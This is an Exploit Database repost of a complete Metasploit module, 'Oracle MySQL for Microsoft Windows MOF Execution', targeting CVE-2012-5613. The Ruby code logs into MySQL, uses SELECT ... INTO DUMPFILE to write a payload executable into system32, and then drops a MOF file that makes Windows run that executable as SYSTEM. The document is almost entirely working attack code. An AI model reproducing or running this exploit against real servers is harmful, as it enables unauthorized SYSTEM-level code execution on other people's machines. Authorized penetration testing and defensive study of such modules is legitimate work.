Oracle MySQL (Windows) – MOF Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-12-06
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/23179/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::MYSQL
  	include Msf::Exploit::WbemExec
  	include Msf::Exploit::EXE
  	include Msf::Exploit::FileDropper
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Oracle MySQL for Microsoft Windows MOF Execution',
  			'Description'=> %q{
  					This modules takes advantage of a file privilege misconfiguration problem
  				specifically against Windows MySQL servers (due to the use of a .mof file).
  				This may result in arbitrary code execution under the context of SYSTEM. However,
  				please note in order to use this module, you must have a valid MySQL account on
  				the target machine.
  			},
  			'Author' =>
  				[
  					'kingcope',
  					'sinn3r'
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					['CVE', '2012-5613'], #DISPUTED
  					['EDB', '23083'],
  					['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13']
  				],
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'MySQL on Windows', { } ]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Dec 01 2012'
  		))
  
  		register_options(
  			[
  				OptString.new('USERNAME', [ true, 'The username to authenticate as']),
  				OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
  			])
  	end
  
  	def check
  		begin
  			m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
  		rescue RbMysql::AccessDeniedError
  			print_error("#{peer} - Access denied.")
  			return Exploit::CheckCode::Safe
  		end
  
  		return Exploit::CheckCode::Appears if is_windows?
  		return Exploit::CheckCode::Safe
  	end
  
  	def peer
  		"#{rhost}:#{rport}"
  	end
  
  	def query(q)
  		rows = []
  
  		begin
  			res = mysql_query(q)
  			return rows if not res
  			res.each_hash do |row|
  				rows << row
  			end
  		rescue RbMysql::ParseError
  			return rows
  		end
  
  		return rows
  	end
  
  	def is_windows?
  		r = query("SELECT @@version_compile_os;")
  		return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
  	end
  
  	def get_drive_letter
  		r = query("SELECT @@tmpdir;")
  		drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
  		return drive
  	end
  
  	def upload_file(bin, dest)
  		p = bin.unpack("H*")[0]
  		query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
  	end
  
  	def exploit
  		print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
  		begin
  			m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
  			return if not m
  		rescue RbMysql::AccessDeniedError
  			print_error("#{peer} - Access denied.")
  			return
  		end
  
  		if not is_windows?
  			print_error("#{peer} - Remote host isn't Windows.")
  			return
  		end
  
  		drive= get_drive_letter
  		exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
  		dest = "#{drive}:/windows/system32/#{exe_name}"
  		exe= generate_payload_exe
  		print_status("#{peer} - Uploading to '#{dest}'")
  		begin
  			upload_file(exe, dest)
  			register_file_for_cleanup("#{exe_name}")
  		rescue RbMysql::AccessDeniedError
  			print_error("#{peer} - No permission to write. I blame kc :-)")
  			return
  		end
  
  		mof_name = Rex::Text::rand_text_alpha(5) + ".mof"
  		dest = "#{drive}:/windows/system32/wbem/mof/#{mof_name}"
  		mof= generate_mof(mof_name, exe_name)
  		print_status("#{peer} - Uploading to '#{dest}'")
  		begin
  			upload_file(mof, dest)
  			register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
  		rescue RbMysql::AccessDeniedError
  			print_error("#{peer} - No permission to write. Bail!")
  			return
  		end
  	end
  
  end